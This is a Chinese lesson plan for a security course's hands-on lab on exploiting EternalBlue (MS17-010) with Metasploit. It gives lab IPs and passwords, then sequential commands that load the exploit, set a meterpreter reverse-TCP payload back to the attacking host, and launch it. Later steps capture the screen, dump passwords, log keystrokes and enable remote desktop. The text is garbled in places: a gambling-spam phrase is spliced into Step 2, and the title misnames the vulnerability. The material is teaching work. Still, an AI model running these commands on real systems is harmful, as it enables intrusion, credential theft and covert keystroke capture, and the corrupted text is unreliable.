电子教案 web应用与安全防护-30.docVIP

/学年第学期

教案

课程名称：Web应用安全与防护

课程代码：

任课教师：

教务处印制

课次

30

课程类型

实践

项目（模块）

实践17：永恒之恋漏洞利用

教学目标

知识目标：

了解Metaspolit框架

掌握Metaspolit的基本命令使用

能力目标：

能够使用Metespolit常见的基本命令

情感目标：

1.自主、开放的学习能力

2.良好的自我表现、与人沟通能力

3.良好的团队合作精神

教学重点

MFS框架命令

教学难点

MFS框架命令

教学方法

演示法

教学环境

教学楼

授课日期

2021/6/28

授课班级

19信息安全与管理

教学过程设计

课前准备

通过QQ群发布授课PPT，视频

教学内容

1、实验环境

靶机win7

地址：192.168.1.5

登录密码：123456

攻击机：kaillinux

地址：192.168.1.88

登录用户名：root

登录密码：toor

2、实验原理：

“永恒之蓝”的原理主要是扫描所有开放445文件共享端口的Windows机器。

445端口简介：

????445端口是一个毁誉参半的端口，有了它我们可以在局域网中轻松访问各种共享文件夹或共享打印机，但也正是因为有了它，黑客们才有了可乘之机，他们能通过该端口偷偷共享你的硬盘，甚至会在悄无声息中将你的硬盘格式化掉!2017年10月，由于病毒坏兔子来袭，国家互联网应急中心等安全机构建议用户及时关闭计算机以及网络设备上的445和139端口。

实验步骤

Step1：启动msf

Step2：有哪些信誉好的足球投注网站searchms17-010模块

发现目标靶机上存在永恒之蓝漏洞。

Step3：加载攻击模块并配置参数

useexploit/windows/smb/ms17_010_eternalblue

setp4：设置payload（设置攻击程序）

setpayloadwindows/x64/meterpreter/reverse_tcp

setp5：设置相关参数

showoptions

setrhost192.168.1.5?(靶机的IP)

setlhost192.168.1.88?(发起攻击的主机IP)

setlport443????(监听的端口)

Step6：发起攻击，成功会反弹shell

输入run或者exploit

Step7：获取屏幕数据

Step8：获取密码

Step9：键盘监听

ps看浏览器或者记事本等进程号

migrate转到相应的进程

keyscan_start:启动时与如Word或浏览器的进程相关联的键盘记录软件

keyscan_dump?键盘记录软件的内容转储，此时可以看到刚刚在靶机上输入的内容

keyscan_stop:-停止键盘记录软件

step10：开启远程

（1）runpost/windows/manage/enable_rdp，或rungetgui-e

利用此后渗透模块即可直接开启远程桌面

（2）KaliLinux操作系统中的rdesktop靶机地址命令即可直接使用root账号登录到靶机系统中

练习与

作业

课后反思

注：1.一次课（2课时）写一份上述格式教案，课次为授课先后次序，填1、2、3...等。

2.课程类型：理论或实践。

3.教学环境：包含场所（教学楼、机房、实训室、操场等）和教具（实训设备、教学仪器、教学模型）。

4.课后反思要与相应的授课日期、授课班级的授课实际情况相对应。